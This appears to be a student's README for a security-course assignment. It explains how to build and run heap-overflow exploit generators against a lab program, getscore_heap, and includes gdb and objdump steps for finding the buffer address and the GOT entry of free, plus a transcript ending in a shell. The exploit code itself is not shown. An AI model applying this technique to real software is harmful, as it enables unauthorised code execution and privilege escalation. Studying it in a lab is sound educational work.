Programming Assignment 3 - Eric Seals

Documentation for correctly using the exploit generators. There is one directory, named exploit8Again, which contains the files.

Task

Compile the c++ exploiter

There are three relevant files: `getscore_heap.c`, `name_exploit.c`, and `ssn_exploit.c`.

Build the c exploits:

```
$ gcc -g getscore_heap.c -o getscore_heap
$ gcc -g name_exploit.c -o name_exploit
$ gcc -g ssn_exploit.c -o ssn_exploit
```

Run:

```
$ ./name_exploit <buflen>
$ ./ssn_exploit <addr_GOT> <addr_buffer>
$ ./getscore_heap $NAME $SSN
```

Find Buffer Length

As it turns out for this assignment, the buffer length (as used by the `exploit_heap.c`) is not a fixed value (the size of buffer is set by a strlen of the first input), so the length just needs to be large enough to avoid the overwriting on memory free and to itself be large enough to fit the shell code. Therefore, for the the first argument generation, just run as follows (128 is arbitrary, the program will let you know if you select too small a value):

Run:

```
$ ./name_exploit 128
```

Find Buffer Address and GOT Table Location

In order to determine these next two values, the program needs to be debuggable (hence why the build command above specifies the -g flag).

Buffer Address

Deciding which buffer to target is determined by the following lines of codes from the `getscore_heap.c` file:

```
40   if ((matching_pattern = (char *)malloc(strlen(name)+17)) == NULL){
41     printf("Failed to allocate memory.\n");
42     exit(-1);
43   }
44
45   if ((score = (char *)malloc(10)) == NULL){
46     printf("Failed to allocate memory.\n");
47     exit(-1);
48   }
49
50   if ((line = (char *)malloc(128)) == NULL){
51     printf("Failed to allocate memory.\n");
52     exit(-1);
53   }
54
55   strcpy(matching_pattern, name);
56   strcat(matching_pattern, ":");
57   strcat(matching_pattern, ssn);
```

The `matching_pattern` buffer is being set by the size of the input argument `name`. Along with this, in lines 55-57 the memory layout of how the first and second argument will be layed out in the buffer in the heap is shown to be `<name>:<ssn>`. This exploit will work by adding the shellcode in the `<name>` and then padding to the end of the buffer and writing out of bounds to produce a fake heap structure in `<ssn>`.

The buffer address is needed as this is where the shell code will be located, and the address needs to be placed in the fake heap structure as the back pointer. To find the address of `matching_pattern`, simply open the debugger on the program and set a breakpoint after line 40. At this point, just examine the location.

```
$ gdb getscore_heap

(gdb) b 58
(gdb) p/a matching_pattern
```

GOT Table Location

This exploit also needs the address of the `free` function in the GOT Table to be inserted into the fake heap structure as the forward pointer. This is easily found with the following command:

```
$ objdump -R getscore_heap
```

The output will look something like the following (address for free is 0x08049c90):

```
[root@localhost root]# objdump -R getscore_heap

getscore_heap:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
08049ca4 R_386_GLOB_DAT    __gmon_start__
08049c5c R_386_JUMP_SLOT   perror
08049c60 R_386_JUMP_SLOT   system
08049c64 R_386_JUMP_SLOT   malloc
08049c68 R_386_JUMP_SLOT   time
08049c6c R_386_JUMP_SLOT   fgets
08049c70 R_386_JUMP_SLOT   strlen
08049c74 R_386_JUMP_SLOT   __libc_start_main
08049c78 R_386_JUMP_SLOT   strcat
08049c7c R_386_JUMP_SLOT   printf
08049c80 R_386_JUMP_SLOT   getuid
08049c84 R_386_JUMP_SLOT   ctime
08049c88 R_386_JUMP_SLOT   setreuid
08049c8c R_386_JUMP_SLOT   exit
08049c90 R_386_JUMP_SLOT   free
08049c94 R_386_JUMP_SLOT   fopen
08049c98 R_386_JUMP_SLOT   sprintf
08049c9c R_386_JUMP_SLOT   geteuid
08049ca0 R_386_JUMP_SLOT   strcpy
```

Working Solution

With the two addressses found as outlined above, the exploit programs can be used to generate the environment variable `$NAME` and `$SSN`. These in turn can be inputted into the `getscore_heap.c` program to obtain a shell code. Here is an example of the command order to obtain a shell code using the two exploit programs:

```
[student@localhost student]$ ./name_exploit 128
Length of shell code: 45
[student@localhost student]$ ./ssn_exploit 0x08049c90 0x8049e28
Using where: 0x8049c84
Using what: 0x8049e30
Size of new_buff: 32
[student@localhost student]$ ./getscore_heap $NAME $SSN
Invalid user name or SSN.
sh-2.05b$
sh-2.05b$ ls
core.8001  getscore_heap    heap.c          name_exploit    ssn_exploit
core.8211  getscore_heap.c  heap_exploit    name_exploit.c  ssn_exploit.c
error.log  heap             heap_exploit.c  score.txt
sh-2.05b$
```

Assumptions / Credits

The work I have done in this programming assignment follows closely to the demonstrations and tips provided during lecture. The exploit source code is a modification of the provided file `exploit_heap.c` and the shell code is the same as used in that file.